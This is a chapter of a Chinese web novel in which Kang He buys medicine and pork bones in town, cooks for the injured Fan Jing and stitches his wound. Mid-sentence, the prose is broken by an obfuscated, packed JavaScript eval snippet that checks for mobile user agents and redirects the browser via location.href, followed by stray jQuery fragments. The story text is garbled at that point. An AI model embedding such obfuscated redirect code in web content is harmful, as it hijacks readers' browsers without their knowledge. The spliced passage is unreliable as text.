岛里天下 作品

12.第12章

翌日一早,外头的雨可算是停了。


不过山里头积了雨水不容易晾开,早间吹来的风冷涔涔的,一股腐叶的生臭味。


康和要赶早下山去。


范景怕他识不得出山的路,将他送到了外山才罢。


康和嘱咐他今儿不要出门去,范景没应答他,只催促他赶紧下山,否则天黑前赶不回来。


山上有条小道能直接穿到官道去,不必再从村里去绕路。


一路上又没有太多岔路,康和记了范景与他说的路,正午间便到了县城。


县里倒是好天气,太阳还有些晒人。


康和进了城没着急去医馆,先在街市上巡转了一阵。


耳朵听见哪处有人说官话,他便凑上去听,心头默默学人的话。


不单如此,还自寻着人说话试一番深浅。


耽搁半晌,趁着与人学话的功夫问了间医馆,这才去拿药。


仔细同大夫说了症状,拿了三副药。


内服外敷的都有,除此之外,又还买了些常用的药物,外伤药居多,再便是治头疼脑热,腹泻肚胀的药。


老大夫见他拿药拿得有门道,问了一句:“小兄弟是乡下的草医?”


康和捏着新学的腔调:“哪有这般本事,只是晓得一二皮毛。”


“晓得是好事咧,自能注意着些身子。”


康和笑了笑,瞅见医馆里挂着些还没有入柜的草药,老大夫又多随和,便闲问道:“不晓得老先生这处收不收草药?”


“也收些,只小医馆买卖小,价格不高。”


康和道:“老先生医者仁善,看诊费用收得不高,医药价钱也实惠。往您这处送草药,那都是行善积德的好事情。”


老大夫被康和捧得乐呵呵的,他放轻了些声音道:“你这小伙子,说话可真好听。往后手头上有草药,要不嫌就送我这小医馆里瞧瞧。”


康和未必能有草药,不过谁又会嫌多条路子,连道:“好咧。”


拿药用去了六十五个钱,康和手头上那点儿本就不多的积蓄更是少了。


今儿出门前范景本是要拿钱与他的,不过教他给推了回去。


范景本就是救他才伤的,要再拿人家的银子来给他看病,天底下可没这样不讲理的。


从医馆出去,他又上了一趟肉行。


午后些肉摊子上的屠户都懒洋洋的。


苍蝇嗅着肉味儿来飞,落在了那白花花的猪肉上,屠子都懒得赶上一赶。


康和在角落里找见一间叫做吴大姐好猪肉的摊子,虽铺子不当道,可生意却好,摊面儿上都不剩甚么肉了。


不怪如此,人摊子周遭扫得干干净净的,不似有些摊子,客人要买猪肠子,又要摊子上把肠里的秽物给倒了,不讲究的摊主就给倒在摊子边上的沟里。


讲究点儿的拿个桶给接了,用罢了却也不把桶捡去别处,就放在摊子下头。


早间还好,天气热一些,那些秽物捂在桶里半日,味道那教一个冲。


要不然肉行这头怎能生恁多的蝇虫。


见着康和过去,妇人赶紧捡开盖在肉上的松枝,连教他挑选。


康和问了价,最好卖的五花要十二个钱一方。


瘦肉肥肉的价都不低。


他手头上的钱经不起折腾,便要了几根剔出来的猪大骨和扇子骨。


能装一大篮子,好几斤才二十个钱。


外又去米粮行买了三斤面粉。


采买齐了东西,他去街边上买了两个粗面炊饼,就着摊主送的一碗粗茶汤垫了垫肚子。


这当上,还使了个铜子教蹲在墙角根儿等活儿的跑闲的与他说了些当地的事。


吃罢了炊饼,这才动身回去。


进山时,太阳已然快偏西。


受了一日太阳,山里不似早间那般湿漉漉的,已然干舒了。


康和快着脚步回了木屋,屋子从外头就落了锁。


不出所料,那人是闲不住一分的,不知又去了哪处。


幸得是他有钥匙。


康和这回没忙着出去寻人,而是先把米给下了锅。


取了猪骨清洗干净,敲碎了一并与米炖着。


回来的路上,他还挖了些荠菜和野菠菜,能用来凉拌吃。


范景回来时,远远在木屋外头就闻到一股肉香味。


他在外头转山,瞅见落脚的方向冒出了一缕炊烟,便晓得康和定然是回来了,于是才动得身往回走。


“哪里去了?喊你多歇息不要外出走动,当心又伤了手。”


康和见闷头回来的人,一只胳膊还被吊着,就待不住得往外去,忍不得便啰嗦了几句。


范景心想哪有那起子蠢笨的人,出门就非得受伤。


“就在附近转转。”


说罢,他从口袋里掏出了两只绿壳子的卵来。


这卵生得小,和家里养得母鸡卵一般大小。


康和接过来,见小巧得可爱,问道:“这是野鸭子的蛋?”


“嗯。北边有条溪,能撞见野鸭子窝。”


康和听得了趣:“改明儿我也去瞧瞧。这鸭蛋整好今晚用来炒荠菜吃。”


范景没阻他怎么处置鸭卵,他以前在山里捡到野鸡野鸭卵也会煮来吃,带着壳子煮成白水蛋,揣出去很容易。


他见着康和取了只碗,单手熟练的敲碎了鸭卵壳,鸭卵连黄带白的滑进碗里,一粒壳子也不见落进去。


又将过水的荠菜细细得切碎,合进去再一并捣散。


范景在灶边揭开了锅盖,往里瞅了一眼。


只见热气翻涨一直飘着浓郁肉香出来的锅子里煨了荤粥。


“你会灶?”


康和闻言顿下手上的动作,笑道:“会什麽灶,只不过是弄得来些简单的吃食。”


会灶那便是厨子的手艺了,他哪里有这么厉害的功夫。


康和瞅着范景话不多,却怪会恭维人的。


心里有些美滋滋。


他确实是会很多东西,但都只会些皮毛,并不钻精。


之前在村里经营自媒体账号时,拍过做菜,采集,木工,种植.......等等门类,还挺多的,他并不是摆拍,所以差不多都会。


但他虽然是个土生土长的农村人士,可不少农村手艺他并不是一开始就会的,也是为了做视频后面专门去学过。


范景心想他倒是不爱托大。


听说康爷是个灶人,康和若好学会些汤水功夫,倒是也说得过去。


康和见粥稠密了,便盛了一碗放上勺子,先端给范景吃着。


许是闻着香气,想试一试究竟什麽滋味,他也没客气,用左手舀粥吃了起来。


猪骨被敲碎,内里骨髓炖进了粥里,油丝丝的。


又撒了姜丝,除了猪肉的腥气,入上薄盐,吃起来有滋有味。


乡野人家没吃过甚么好东西,这么一锅子粥已觉得稀罕了。


范景依稀记着,还是他娘在世时弄出过这样的好味道。


倒不是嫌陈氏手艺不好,她也是穷人家出身,打小就生在长在村野上,没吃过几顿好的,又如何能做出来甚么好滋味。


他娘嫁


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151193|164477||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


给他爹之前,是县城里的人户。


虽也不是甚么富裕之家的女儿,可到底在县城中长大,衣食上的见识总要宽些。


他的官话便是他娘教的。


康和见他吃得香,快着手脚冷拌好野菠菜推到他跟前去,让他就着粥吃。


这人八成午间又用冷馒头对付了一顿。


范景放下勺子,取了箸儿。


康和见此道:“你右手不便,左手就使勺子吃菜便是,不碍事。要是勺子舀不起来,我给你夹。”


“用不着。”


范景说罢,利索的便夹了一箸儿菜送进了嘴里。


康和惊讶道:“你左手这样好使?”


“小时候是左撇子。”


康和干干一笑,原还想着要是他手不便,自己多费些耐心把饭菜喂到他嘴里也成。


谁想人家可不求人。


他热了锅,预备烙荠菜鸭蛋饼。


范景默着吃尽了一碗粥,意犹未尽的放下了勺子,却道:“往后别弄了。”


“不好吃?”


范景摇摇头:“一家子人,我在山里吃好喝好。”


康和闻言了悟,却拿过他空了的碗,径直又给添了一碗粥,还捞了一块带肉的骨头。


瘦肉已经炖得快脱骨,瞧着便耙香。


“我晓得你为家里人着想,可你要真为他们想,合该老实把身子养好,别计较这一口两口的吃食。”


康和道:“家里指着你挣钱,你身子不好,如何能够长久的把日子经营下去。”


富人家养病得吃淡,这穷人家养病得吃好。


穷人的日子本就淡,再给淡下去,不是把人往死里弄么。


“再者,我弄些吃食与你,也教我心头好过些。”


范景听着他的理,道:“你不必觉着心头过意不去,我这胳膊不怪你。昨日即便不是你,是旁人,我也一样会搭手。”


“别人遇了这样的事我不晓得人会如何,但我便是会尽我所能的做答谢。”


范景看了他一眼,不知是认不认他说的,可到底是没了言。


康和见此将碗塞回他的手里,自继续去煎荠菜饼。


范景端着碗,瞧着内里的骨头肉,出了会儿神,也不知在想什嚒。


须臾,一片巴掌大小的香煎荠菜饼稳稳盖在了肉上头,打断了他的思绪。


“赶紧吃,别凉了。”


康和轮着锅铲,见范景不动筷子,又铲了一块叠在他的陶碗里。


范景见此,挪开了碗,到底是老实重新拿起了筷子。


由康和盯着,足吃了三碗肉粥才罢。


饭罢,康和捡了碗筷,这才取出药膏重新给范景做包扎。


昨儿的药确是不如何好,伤口不见有愈合的趋势,张着口子怪是渗人。


“还是得缝合才成。”


康和如是说道,取了新买的针线出来。


范景只由着他侍弄。


针针扎过,他都没言,但缝好伤口时,额头上还是起了一层细密的汗。


“疼不疼?”


康和问他。


范景没应答,只从床底下取出了个葫芦。


揭开葫嘴儿,往嘴里倒了口。


康和闻到了一股酒味儿。


“我睡了。”


范景说完,钻到了他的小床上,拉了帘子。


康和见此,晓得了他的心思,没再多吵他。


只他看着帘子那头安静躺着的影子,心里有些怪不是滋味。


这世间,竟当真是有人痛都不肯喊出口的。